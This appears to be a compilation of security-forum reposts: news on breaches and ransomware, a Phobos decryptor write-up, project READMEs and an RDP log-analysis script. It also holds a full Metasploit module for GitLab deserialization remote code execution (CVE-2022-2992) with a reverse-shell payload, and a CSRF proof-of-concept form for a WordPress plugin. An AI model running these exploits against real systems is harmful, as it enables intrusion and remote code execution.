were not aware of it when working on the decryptor. Entropy after that change: >>> log(10**7 * 10**3 * 10**3 * 256, 2) 51.18506523353571 This was our final complexity improvement. What's missing is a good implementation Gotta go fast (how fast can we go?) Naïve implementation in Python (500 keys/second) Our initial PoC written in Python tested 500 keys per second. Quick calculation shows that this brute-forcing 100000000000 keys will take 2314 CPU-days. Far from practical. But Python is basically the slowest kid in on block as far as high performance computing goes. We can do much better. Usually in situations like this we would implement a native decryptor (in C++ or Rust). But in this case, even that would not be enough. We had to go faster. Time works WONDERS We've decided to go for maximal performance and implement our solver in CUDA. CUDA first steps (19166 keys/minute) Our first naive version was able to crack 19166 keys/minute. We had no experience with CUDA at the time, and made many mistakes. Our GPU utilization stats looked like this: Improving sha256 (50000 keys/minute) Clearly sha256 was a huge bottleneck here (not surprisingly – there are 256 times more sha256 calls than AES calls). Most of our work here focused on simplifying the code, and adapting it to the task at hand. For example, we inlined sha256_update: We inlined sha256_init: We replaced global arrays with local variables: We hardcoded data size to 32 bytes: And made a few operations more GPU-friendly, for example used __byte_perm for bswap. In the end, our main loop changed like this: But that's not the end - after this optimization we realized that the code is now making a lot of unnecessary copies and data transfers. There are no more copies needed at this point: Combining all this improvements let us improve the performance 2.5 times, to 50k keys/minute. Now make it parallel (105000 keys/minute) It turns out graphic cards are highly parallel. Work is divided into streams, and streams are doing the logical operations. Especially memcopy to and from graphic card can execute at the same time as our code with no loss of performance. Just by changing our code to use streams more effectively, we were able to double our performance to 105k keys/minute: And finally, AES (818000 keys/minute) With all these changes, we still didn't even try optimizing the AES. After all the lessons learned previously, it was actually quite simple. We just looked for patterns that didn't work well on GPU, and improved them. For example: We changed a naive for loop to manually unrolled version that worked on 32bit integers. It may seem insignificant, but it actually dramatically increased our throughput: ...and now do it in parallel (10MM keys/minute) At this point we were not able to make any significant performance improvements anymore. But we had one last trick in our sleeve - we can run the same code on more than one GPU! Conveniently, we have a small GPU cluster at CERT.PL. We've dedicated two machines with a total of 12 Nvidia GPUs to the task. By a simple multiplication, this immediately increased our throughput to almost 10 million keys per minute. So brute-forcing 100000000000 keys will take just 10187 seconds (2.82 hours) on the cluster. Sounds great, right? Where Did It All Go Wrong? Unfortunately, as we've mentioned at the beginning, there are a lot of practical problems that we skimmed over in this blog post, but that made publishing the decryptor tricky: Knowledge of TID and PID is required. This makes the decryptor hard to automate. We assume a very precise time measurements. Unfortunately, clock drift and intentional noise introduced to performance counters by Windows makes this tricky. Not every Phobos version is vulnerable. Before deploying a costly decryptor one needs a reverse engineer to confirm the family. Even after all the improvements, the code is still too slow to run on a consumer-grade machine. Victims don't want to wait for researchers without a guarantee of success. This is why we decided to publish this article and source code of the (almost working) decryptor. We hope that it will provide some malware researches a new look on the subject and maybe even allow them to decrypt ransomware victims. We've published the CUDA source code in a GitHub repository: https://github.com/CERT-Polska/phobos-cuda-decryptor-poc. It includes a short instruction, a sample config and a data set to verify the program. Let us know if you have any questions or if you were able to use the script in any way to help a ransomware victim. You can contact us at info@cert.pl. Ransomware sample analyzed: 2704e269fb5cf9a02070a0ea07d82dc9d87f2cb95e60cb71d6c6d38b01869f66 | MWDB | VT Source: cert.pl
-
After Motherboard announced Team Cymru sold internet monitoring tools to the U.S. military, the Tor Project announced it would stop using infrastructure donated by the company. The Tor Project, the organization which maintains the Tor anonymity network and related browser, is continuing to move its infrastructure away from that previously provided by Team Cymru, an internet monitoring firm that donated hardware and other resources. The Tor Project now expects the migration to be completed in the spring, the organization told Motherboard in a statement. The Tor Project announced the move in October after Motherboard reported that Team Cymru sold an internet monitoring tool called “Augury” to multiple branches of the U.S. military. Augury is based in part on data provided by internet service providers, and claims to cover 90 percent of the world’s internet traffic. A whistleblower also alleged that NCIS, a civilian law enforcement agency that is part of the Navy, engaged in the warrantless use and purchase of this data. Pavel Zoneff, director of communications at the Tor Project, told Motherboard the organization has “made great progress, including making significant investments to scale our own server infrastructure. We have migrated the most critical functions and are currently tracking completion before the end of spring this year. We will share an update as soon as the transition is completed.” In the Tor Project’s October announcement, Tor Project executive director Isabela Fernandes mentioned that Team Cymru has donated “hardware, and significant amounts of bandwidth to Tor over the years. These were mostly web mirrors and for internal projects like build and simulation machines.” The Tor community, Fernandes wrote, raised concerns about the Tor Project using infrastructure from Team Cymru. Given conflicts between the Tor Project’s and Team Cymru’s missions, “it’s not tenable to continue to accept Team Cymru’s donations of infrastructure,” Fernandes wrote. Fernandes added the Tor Project had been planning to move out things since early 2022. After Motherboard’s reporting, those efforts appeared to have moved more earnestly. Team Cymru’s CEO Rob Thomas was also on the board of the Tor Project, something which Motherboard pointed to in its reporting. He left on August 4, 2022. In the October blog post, Fernandes explained that Tor Project staff and volunteers raised concerns about Thomas’ position on the board at the end of 2021. This led to internal discussions. “During these conversations, it became clear that although Team Cymru may offer services that run counter to the mission of Tor, there was no indication that Rob Thomas's role in the provision of those services created any direct risk to Tor users, which was our primary concern,” Fernandes wrote. “But of course, not actively endangering our users is a low bar,” Fernandes continued. “It is reasonable to raise questions about the inherent disconnection between the business model of Team Cymru and the mission of Tor which consists of private and anonymous internet access for all. Rob Thomas's reasons for choosing to resign from the board are his own, but it has become more clear over the months since our initial conversation how Team Cymru's work is at odds with the Tor Project's mission.” Via vice.com
-
URL: https://duplicateword.com Source
-
Web hosting services provider GoDaddy on Friday disclosed a multi-year security breach that enabled unknown threat actors to install malware and siphon source code related to some of its services. The company attributed the campaign to a "sophisticated and organized group targeting hosting services." GoDaddy said in December 2022, it received an unspecified number of customer complaints about their websites getting sporadically redirected to malicious sites, which it later found was due to the unauthorized third party gaining access to servers hosted in its cPanel environment. The threat actor "installed malware causing the intermittent redirection of customer websites," the company said. The ultimate objective of the intrusions, GoDaddy said, is to "infect websites and servers with malware for phishing campaigns, malware distribution, and other malicious activities." In a related 10-K filing with the U.S. Securities and Exchange Commission (SEC), the company said the December 2022 incident is connected to two other security events it encountered in March 2020 and November 2021. The 2020 breach entailed the compromise of hosting login credentials of about 28,000 hosting customers and a small number of its personnel. Then in 2021, GoDaddy said a rogue actor used a compromised password to access a provisioning system in its legacy code base for Managed WordPress (MWP), affecting close to 1.2 million active and inactive MWP customers across multiple GoDaddy brands. Via thehackernews.com
-
An authenticated user can import a repository from GitHub into GitLab. If a user attempts to import a repo from an attacker-controlled server, the server will reply with a Redis serialization protocol object in the nested default_branch. GitLab will cache this object and then deserialize it when trying to load a user session, resulting in remote code execution. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Git::SmartHttp include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Gitlab include Msf::Exploit::RubyDeserialization attr_accessor :cookie def initialize(info = {}) super( update_info( info, 'Name' => 'GitLab GitHub Repo Import Deserialization RCE', 'Description' => %q{ An authenticated user can import a repository from GitHub into GitLab. If a user attempts to import a repo from an attacker-controlled server, the server will reply with a Redis serialization protocol object in the nested `default_branch`. GitLab will cache this object and then deserialize it when trying to load a user session, resulting in RCE. }, 'Author' => [ 'William Bowling (vakzz)', # discovery 'Heyder Andrade <https://infosec.exchange/@heyder>', # msf module 'RedWay Security <https://infosec.exchange/@redway>', # PoC ], 'References' => [ ['URL', 'https://hackerone.com/reports/1679624'], ['URL', 'https://github.com/redwaysecurity/CVEs/tree/main/CVE-2022-2992'], # PoC ['URL', 'https://gitlab.com/gitlab-org/gitlab/-/issues/371884'], ['CVE', '2022-2992'] ], 'DisclosureDate' => '2022-10-06', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Privileged' => false, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ OptString.new('USERNAME', [true, 'The username to authenticate as', nil]), OptString.new('PASSWORD', [true, 'The password for the specified username', nil]), OptInt.new('IMPORT_DELAY', [true, 'Time to wait from the import task before try to trigger the payload', 5]), OptAddress.new('URIHOST', [false, 'Host to use in GitHub import URL']) ] ) deregister_options('GIT_URI') end def group_name @group_name ||= Rex::Text.rand_text_alpha(8..12) end def api_token @api_token ||= gitlab_create_personal_access_token end def session_id @session_id ||= Rex::Text.rand_text_hex(32) end def redis_payload(cmd) serialized_payload = generate_ruby_deserialization_for_command(cmd, :net_writeadapter) gitlab_session_id = "session:gitlab:#{session_id}" # A RESP array of 3 elements (https://redis.io/docs/reference/protocol-spec/) # The command set # The gitlab session to load the payload from # The Payload itself. A Ruby serialized command "*3\r\n$3\r\nset\r\n$#{gitlab_session_id.size}\r\n#{gitlab_session_id}\r\n$#{serialized_payload.size}\r\n#{serialized_payload}" end def check self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie vprint_status('Trying to get the GitLab version') version = Rex::Version.new(gitlab_version) return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") unless ( version.between?(Rex::Version.new('11.10'), Rex::Version.new('15.1.6')) || version.between?(Rex::Version.new('15.2'), Rex::Version.new('15.2.4')) || version.between?(Rex::Version.new('15.3'), Rex::Version.new('15.3.2')) ) report_vuln( host: rhost, name: name, refs: references, info: [version] ) return CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.") rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError return CheckCode::Detected('Could not detect the version because authentication failed.') rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e return CheckCode::Unknown("#{e.class} - #{e.message}") end def cleanup super return unless @import_id gitlab_delete_group(@group_id, api_token) gitlab_revoke_personal_access_token(api_token) gitlab_sign_out rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e print_error("#{e.class} - #{e.message}") end def exploit if Rex::Socket.is_internal?(srvhost_addr) print_warning("#{srvhost_addr} is an internal address and will not work unless the target GitLab instance is using a non-default configuration.") end setup_repo_structure start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req) end, 'Path' => '/' } }) execute_command(payload.encoded) rescue Timeout::Error => e fail_with(Failure::TimeoutExpired, e.message) end def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") # due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie vprint_status("Session ID: #{session_id}") vprint_status("Creating group #{group_name}") # We need group id for the cleanup method @group_id = gitlab_create_group(group_name, api_token)['id'] fail_with(Failure::UnexpectedReply, 'Failed to create a new group') unless @group_id @redis_payload = redis_payload(cmd) # import a repository from GitHub vprint_status('Importing a repository from GitHub') @import_id = gitlab_import_github_repo( group_name: group_name, github_hostname: get_uri, api_token: api_token )['id'] fail_with(Failure::UnexpectedReply, 'Failed to import a repository from GitHub') unless @import_id # wait for the import tasks to finish select(nil, nil, nil, datastore['IMPORT_DELAY']) # execute the payload send_request_cgi({ 'uri' => normalize_uri(target_uri.path, group_name), 'method' => 'GET', 'keep_cookies' => false, 'cookie' => "_gitlab_session=#{session_id}" }) rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e fail_with(Failure::Unknown, "#{e.class} - #{e.message}") end def setup_repo_structure blob_object_fname = "#{Rex::Text.rand_text_alpha(5..10)}.txt" blob_data = Rex::Text.rand_text_alpha(5..12) blob_object = Msf::Exploit::Git::GitObject.build_blob_object(blob_data) tree_data = { mode: '100644', file_name: blob_object_fname, sha1: blob_object.sha1 } tree_object = Msf::Exploit::Git::GitObject.build_tree_object(tree_data) commit_obj = Msf::Exploit::Git::GitObject.build_commit_object(tree_sha1: tree_object.sha1) git_objs = [ commit_obj, tree_object, blob_object ] @refs = { 'HEAD' => 'refs/heads/main', 'refs/heads/main' => commit_obj.sha1 } @packfile = Msf::Exploit::Git::Packfile.new('2', git_objs) end # Handle incoming requests from GitLab server def on_request_uri(cli, req) super headers = { 'Content-Type' => 'application/json' } data = {}.to_json case req.uri when %r{/api/v3/rate_limit} headers.merge!({ 'X-RateLimit-Limit' => '100000', 'X-RateLimit-Remaining' => '100000' }) when %r{/api/v3/repositories/(\w{1,20})} id = Regexp.last_match(1) name = Rex::Text.rand_text_alpha(8..12) data = { id: id, name: name, full_name: "#{name}/name", clone_url: "#{get_uri.gsub(%r{/+$}, '')}/#{name}/public.git" }.to_json when %r{/\w+/public.git/info/refs} data = build_pkt_line_advertise(@refs) headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-advertisement' }) when %r{/\w+/public.git/git-upload-pack} data = build_pkt_line_sideband(@packfile) headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-result' }) when %r{/api/v3/repos/\w+/\w+} bytes_size = rand(3..8) data = { 'default_branch' => { 'to_s' => { 'bytesize' => bytes_size, 'to_s' => "+#{Rex::Text.rand_text_alpha_lower(bytes_size)}\r\n#{@redis_payload}" # using a simple string format for RESP } } }.to_json end send_response(cli, data, headers) end end # 0day.today [2023-02-16] # Source: 0day.today
-
Sursa? aici mai concret cum procedau: https://www.group-ib.com/media-center/press-releases/night-fury/
-
+ Missing a specific use case? no worries, hit us up and we will implement it for you! just open an issue. Alerting. By developers, for developers. Simple Alerting tool, Builtin providers (e.g. sentry/datadog or slack/pagerduty), 100% open sourced, free forever. Manage your alerts by code, write better more actionable and accurate alerts with Keep scoring system (coming soon). Get started » A glance of Keep Keep is a simple CLI tool that contains everything you need to start creating Alerts. 10s of providers ready to use with your own data Simple CLI tool to configure, trigger and test your alerts Easily deployable via docker, vercel, github actions, etc. Alerts are managed by simple yaml files that are human-readable Brought to you by developers, EASY to use and managable by code. Providers Providers are Keep's way of interacting with 3rd party products; Keep uses them either to query data or to send notifications. We tried our best to cover all common providers, missing any?, providers include: Cloud: AWS, GCP, Azure, etc. Monitoring: Sentry, New Relic, Datadog, etc. Incident Management: PagerDuty, OpsGenie, etc. Communication: Email, Slack, Console, etc. and more... Quickstart Run locally Try our first mock alert and get it up and running in <5 minutes - Ready? Let's Go! First, clone Keep repository: git clone https://github.com/keephq/keep.git && cd keep Install Keep CLI pip install . or poetry shell poetry install From now on, Keep should be installed locally and accessible from your CLI, test it by executing: keep version Get a Slack incoming webhook using this tutorial and use use Keep to configure it: keep config provider --provider-type slack --provider-id slack-demo Paste the Slack Incoming Webhook URL (e.g. https://hooks.slack.com/services/...) and you're good to go Let's now execute our example "Paper DB has insufficient disk space" alert keep run --alerts-file examples/alerts/db_disk_space.yml You should have received your first "Dunder Mifflin Paper Company" alert in Slack by now. Wanna have your alerts up and running in production? Go through our more detailed Deployment Guide Learn more Share feedback/ask questions via our Slack Explore the full list of supported providers Explore the documentation Adding a new provider Check out our website Keepers Thank you for contributing and continuously making Keep better, you're awesome shahargl talboren Download: keep-main.zip Source: github.com
-
WordPress Quiz and Survey Master plugin versions 8.0.8 and below suffer from a cross site request forgery vulnerability. RCE Security Advisory https://www.rcesecurity.com 1. ADVISORY INFORMATION ======================= Product: Quiz And Survey Master Vendor URL: https://wordpress.org/plugins/quiz-master-next/ Type: Cross-Site Request Forgery (CSRF) [CWE-352] Date found: 2023-01-13 Date published: 2023-02-08 CVSSv3 Score: 6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N) CVE: CVE-2023-0292 2. CREDITS ========== This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED ==================== Quiz And Survey Master 8.0.8 and below 4. INTRODUCTION =============== Quiz and Survey Master is the easiest WordPress Quiz Plugin which can be used to create engaging content to drive traffic and increase user engagement. Everything from viral quiz, trivia quiz, customer satisfaction surveys to employee surveys. This plugin is the ultimate marketing tool for your website. (from the vendor's homepage) 5. VULNERABILITY DETAILS ======================== The plugin offers the ajax action "qsm_remove_file_fd_question" which is used to delete uploaded media contents from the WordPress instance. However, the functionality is not protected by an anti-CSRF token/nonce. Since there is no anti-CSRF token protecting this functionality, it is vulnerable to Cross-Site Request Forgery attacks allowing an attacker to delete uploaded media contents on behalf of the attacked user. To successfully exploit this vulnerability, a user with the right to access the plugin must be tricked into visiting an arbitrary website while having an authenticated session in the application. 6. PROOF OF CONCEPT =================== The following Proof-of-Concept would delete the uploaded media with the ID "1": <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="qsm_remove_file_fd_question" /> <input type="hidden" name="media_id" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html> 7. SOLUTION =========== Update to version 8.0.9 8. REPORT TIMELINE ================== 2023-01-13: Discovery of the vulnerability 2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291 2023-01-18: Sent initial notification to vendor via contact form 2022-01-18: Vendor response 2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability 2022-02-08: Public disclosure 9. REFERENCES ============= https://github.com/MrTuxracer/advisories Source
-
Exploit code has been released for an actively exploited zero-day vulnerability affecting Internet-exposed GoAnywhere MFT administrator consoles. GoAnywhere MFT is a web-based and managed file transfer tool designed to help organizations to transfer files securely with partners and keep audit logs of who accessed the shared files. Its developer is Fortra (formerly known as HelpSystems), the outfit behind the widely abused Cobalt Strike threat emulation tool. On Monday, security researcher Florian Hauser of IT security consulting firm Code White released technical details and proof-of-concept exploit code that performs unauthenticated remote code execution on vulnerable GoAnywhere MFT servers. Fortra says that "the attack vector of this exploit requires access to the administrative console of the application, which in most cases is accessible only from within a private company network, through VPN, or by allow-listed IP addresses (when running in cloud environments, such as Azure or AWS)." However, a Shodan scan shows that almost 1,000 GoAnywhere instances are exposed on the Internet, although just over 140 are on ports 8000 and 8001 (the ones used by the vulnerable admin console). Map of vulnerable GoAnywhere MFT servers (Shodan) Mitigation available The company is yet to publicly acknowledge this remote pre-authentication RCE security flaw exploited in attacks (to read the advisory, you need to create a free account first) and hasn't released security updates to address the vulnerability, thus leaving all exposed installations vulnerable to attacks. However, the private advisory provides indicators of compromise, including a specific stacktrace that shows up in the logs on compromised systems. It also contains mitigation advice that includes implementing access controls to allow access to the GoAnywhere MFT administrative interface only from trusted sources or disabling the licensing service. To disable the licensing server, admins have to comment out or delete the servlet and servlet-mapping configuration for the License Response Servlet in the web.xml file to disable the vulnerable endpoint. A restart is required to apply the new configuration. Code to remove/comment out to disable GoAnywhere MFT's licensing service "Due to the fact that data in your environment could have been accessed or exported, you should determine whether you have stored credentials for other systems in the environment and make sure those credentials have been revoked," Fortra added in an update issued on Saturday. "This includes passwords and keys used to access any external systems with which GoAnywhere is integrated. "Ensure that all credentials have been revoked from those external systems and review relevant access logs related to those systems. This also includes passwords and keys used to encrypt files within the system." Fortra also recommends taking the following measures after mitigation in environments with suspicion or evidence of an attack: Rotate your Master Encryption Key. Reset credentials - keys and/or passwords - for all external trading partners/systems. Review audit logs and delete any suspicious admin and/or web user accounts Contact support via the portal https://my.goanywhere.com/, email goanywhere.support@helpsystems.com, or phone 402-944-4242 for further assistance. Via bleepingcomputer.com
-
DSLCAD is a programming language & interpreter for building 3D models. Inspired by OpenSCAD, it has a language and 3D viewer to simplify the modeling experience. Usage Check out the documentation pages. Installation Download the latest DSLCAD from the Releases tab of this repo. You can find pre-built binaries for: Windows MacOS Linux FAQ Why is this different from OpenSCAD? DSLCAD aims to build upon the formula that was established by OpenSCAD. It is still functional in approach and has a more limited scope (no text editor). It has a viewer for rapid part development and a CLI for automation. It offers some novel ideas such as: chamfer and fillet operators to simplify part creation the ability to create multiple parts (3D models) from a single file object style properties to access variables my_gear.radius top to bottom readability using pipes (the -> operator) to reduce nesting complexity a single binary per platform for portability focused workflow with the aim of using the 2D first then 3D part design flow written in Rust to make it easy to build and contribute to Download: dslcad-master.zip or git clone https://github.com/DSchroer/dslcad.git Source
-
Title: SOUND4 LinkAndShare Transmitter 1.1.2 Format String Stack Buffer Overflow Advisory ID: ZSL-2023-5744 Type: Local Impact: System Access, DoS, Exposure of System Information Risk: (4/5) Release Date: 08.02.2023 Summary The SOUND4 Link&Share (L&S) is a simple and open protocol that allow users to remotely control SOUND4 processors through a network connection. SOUND4 offers a tool that manage sending L&S commands to your processors: the Link&Share Transmitter. Description The application suffers from a format string memory leak and stack buffer overflow vulnerability because it fails to properly sanitize user supplied input when calling the getenv() function from MSVCR120.DLL resulting in a crash overflowing the memory stack and leaking sensitive information. The attacker can abuse the username environment variable to trigger and potentially execute code on the affected system. -------------------------------------------------------------------------------- (4224.59e8): Security check failure or stack buffer overrun - code c0000409 (!!! second chance !!!) eax=00000001 ebx=00000000 ecx=00000005 edx=000001e9 esi=0119f36f edi=00000000 eip=645046b1 esp=0119f0b8 ebp=0119f0d0 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 MSVCR120!_invoke_watson+0xe: 645046b1 cd29 int 29h -------------------------------------------------------------------------------- Vendor SOUND4 Ltd. - https://www.sound4.com | https://www.sound4.biz Affected Version 1.1.2 Tested On Microsoft Windows 10 Home Vendor Status [26.09.2022] Vulnerability discovered. [30.09.2022] Vendor contacted. [07.02.2023] No response from the vendor. [08.02.2023] Public security advisory released. PoC sound4_fmt_linkandshare.txt Credits Vulnerability discovered by Gjoko Krstic - <gjoko@zeroscience.mk> References N/A Changelog [08.02.2023] - Initial release Contact Zero Science Lab Web: https://www.zeroscience.mk e-mail: lab@zeroscience.mk Source
-
Simple script for the purpose of finding remote connections to Windows machine and ideally some public IPs. It checks for some EventIDs regarding remote logins and sessions. You should pip install -r requirements.txt so the script can work and parse some of the .evtx files inside winevt folder. The winevt/Logs folders and the script must have identical file path. Execution Example: Result Example: Download: winevt_logs_analysis-main.zip or git clone https://github.com/georgi-i/winevt_logs_analysis.git Mirror: winevt_logs_analysis.py: #[\winevt\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx] #EventID 1149 - User authentication succeeded -> 2624 -> 21 -> 22 #[\winevt\Logs\Security.evtx] #EventID 4624 - User successfully logged on to this system with the specified TargetUserName and TargetDomainName from the specified IpAddress #EventID 4625 - User failed to log on to this system with the specified TargetUserName and TargetDomainName from the specified IpAddress #EventID 4634 - A user disconnected from, or logged off, an RDP session #EventID 4647 - The user initiated a formal logoff #EventID 4778 - The user reconnected to an existing RDP session #EventID 4779 - The user disconnected from from an RDP session #[\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx] #EventID 21 - successful RDP logon (as long as Source Network Address is NOT local) #EventID 22 - successful RDP logon with GUI Desktop (as long as Source Network Address is NOT local) #EventID 23 - The user initiated a formal system logoff #EventID 24 - user has disconnected from an RDP session (if NOT local IP) #EventID 25 - user has reconnected to an existing RDP session (if NOT local IP) #EventID 39 - The user formally disconnected from the RDP session #EventID 40 - The user disconnected from or reconnected to an RDP session import Evtx.Evtx as evtx import re import pandas as pd from alive_progress import alive_bar def write_results(df): with open('result.html', 'a') as result: df['SystemTime'] = pd.to_datetime(df['SystemTime']) df = df.sort_values(by="SystemTime").reset_index(drop=True) df.to_html(result, header=result) result.write('<br>') def append_results(df, event_id, event_id_info, ip, sys_time, log_info): df = df.append({'EventID': event_id, 'Info': event_id_info, 'IP': ip, 'SystemTime': sys_time, 'Log': log_info}, ignore_index=True) return df def read_data(df, path, input): event_data = '' re_system_time = r'SystemTime=\"(.+)\.' re_rcm_id = r'>(1149)<\/EventID' re_ip_rcm = r'<Param3>(.+)<' re_lsm_login = r'>(21)<\/EventID' re_lsm_login_gui = r'>(22)</EventID' re_lsm_disc = r'>(24)<\/EventID' re_lsm_rec = r'>(25)<\/EventID' re_ip_lsm = r'Address>(\d+\.\d+\.\d+\.\d+)<' re_sec_login = r'>(4624)<\/EventID' re_sec_reconnect = r'>(4778)<\/EventID' re_sec_disconnect = r'>(4779)<\/EventID' re_ip_login = r'\"IpAddress\">(\d+\.\d+\.\d+\.\d+)<' re_ip_rec = r'\"ClientAddress\">(\d+\.\d+\.\d+\.\d+)<' print_rcm = False print_lsm = False print_security = False with evtx.Evtx(path) as log: records = log.records() with alive_bar(len(list(records))) as bar: for record in log.records(): bar() event_data = record.xml() match_sys_time = re.search(re_system_time, event_data) if input == 'rcm': if not print_rcm: print('Searching for matching events in RemoteConnectionManager logs...') print_rcm = True match_id_1149 = re.search(re_rcm_id, event_data) if match_id_1149 != None: match_ip_1149 = re.search(re_ip_rcm, event_data) df = append_results(df, match_id_1149.group(1), 'User authentication succeeded', match_ip_1149.group(1), match_sys_time.group(1), 'RemoteConnectionManager_Operational') elif input == 'lsm': if not print_lsm: print('Searching for matching events in LocalSessionManager logs...') print_lsm = True match_id_21 = re.search(re_lsm_login, event_data) match_id_22 = re.search(re_lsm_login_gui, event_data) match_id_24 = re.search(re_lsm_disc, event_data) match_id_25 = re.search(re_lsm_rec, event_data) match_ip_lsm = re.search(re_ip_lsm, event_data) if match_id_21 != None: if match_ip_lsm != None: df = append_results(df, match_id_21.group(1), 'successful RDP logon', match_ip_lsm.group(1), match_sys_time.group(1), 'LocalSessionManager_Operational') elif match_id_22 != None: if match_ip_lsm != None: df = append_results(df, match_id_22.group(1), 'successful RDP logon with GUI Desktop', match_ip_lsm.group(1), match_sys_time.group(1), 'LocalSessionManager_Operational') elif match_id_24 != None: if match_ip_lsm != None: df = append_results(df, match_id_24.group(1), 'user has disconnected from an RDP session', match_ip_lsm.group(1), match_sys_time.group(1), 'LocalSessionManager_Operational') elif match_id_25 != None: if match_ip_lsm != None: df = append_results(df, match_id_25.group(1), 'user has reconnected to an existing RDP session', match_ip_lsm.group(1), match_sys_time.group(1), 'LocalSessionManager_Operational') elif input == 'security': if not print_security: print('Searching for matching events in Security logs...This may take a while...') print_security = True match_id_4624 = re.search(re_sec_login, event_data) match_id_4778 = re.search(re_sec_reconnect, event_data) match_id_4779 = re.search(re_sec_disconnect, event_data) if match_id_4624 != None: match_ip_4624 = re.search(re_ip_login, event_data) if match_ip_4624 != None: df = append_results(df, match_id_4624.group(1), 'User successfully logged on', match_ip_4624.group(1), match_sys_time.group(1), 'Security') elif match_id_4778 != None: match_ip_4778 = re.search(re_ip_rec, event_data) if match_ip_4778 != None: df = append_results(df, match_id_4778.group(1), 'The user reconnected', match_ip_4778.group(1), match_sys_time.group(1), 'Security') elif match_id_4779 != None: match_ip_4779 = re.search(re_ip_rec, event_data) if match_ip_4779 != None: df = append_results(df, match_id_4779.group(1), 'The user disconnected', match_ip_4779.group(1), match_sys_time.group(1), 'Security') write_results(df) df = pd.DataFrame(columns=['EventID', 'Info', 'IP', 'SystemTime', 'Log']) path_prefix = 'winevt/Logs/' log_prefix = 'Microsoft-Windows-TerminalServices-' try: print('Reading data from RemoteConnectionManager%4Operational.evtx...') read_data(df, path_prefix + log_prefix + 'RemoteConnectionManager%4Operational.evtx', 'rcm') except: print('Failed to read RemoteConnectionManager%4Operational.evtx') try: print('Reading data from LocalSessionManager%4Operational.evtx...') read_data(df, path_prefix + log_prefix + 'LocalSessionManager%4Operational.evtx', 'lsm') except: print('Failed to read LocalSessionManager%4Operational.evtx') try: print('Reading data from Security.evtx...') read_data(df, path_prefix + 'Security.evtx', 'security') except: print('Failed to read Security.evtx') requirements.txt: alive_progress==2.4.1 Evtx==0.7.3 pandas==1.3.1 Source: github.com
-
A computer keyboard lit by a displayed cyber code is seen in this illustration picture taken on March 1, 2017. REUTERS/Kacper Pempel/Illustration/ ROME/LONDON, Feb 6 (Reuters) - Global ransomware activity that targeted thousands of computer servers in Italy and other countries was probably the handiwork of criminal hackers and not a state or state-like entity, the Italian government said on Monday. Italy's National Cybersecurity Agency (ACN) said on Sunday that hackers had targeted thousands of computer servers around the world running on VMware "ESXi" software. "No evidence has emerged pointing to aggression by a state or hostile state-like entity", an Italian government statement said, adding that no major Italian institution or company operating in critical national security sectors had been affected. The hack was identified on Feb. 3 and reached its peak on Sunday, said the statement, which added that the hackers were taking advantage of a software exploit first identified two years earlier, in February 2021. "Some of the recipients of that advice took the warning into due consideration, others did not and unfortunately are now paying the consequences," the statement added. VMware's "ESXi" is a kind of hypervisor - software which runs virtual computers. Those virtual systems are sold by some internet hosting companies as low-cost alternatives to running real, physical servers. A VMware spokesperson said it released an update in 2021 which fixed the issue and urged its customers to patch their systems. The attack has hit thousands of servers globally, according to data compiled by U.S.-based cybersecurity firm, Censys, with the majority of affected servers in France, followed by the United States and Germany. "It's somewhat effective but has had a mixed impact. A number of organisations have recovered their virtual machines without having to restore from a backup," said Daniel Card, a cybersecurity consultant based in Britain. "It appears to be targeting victims mainly in Western countries, but does not look highly sophisticated," Card added. Via reuters.com
-
- james pearson
- giuseppe fonte
- (and 5 more)
-
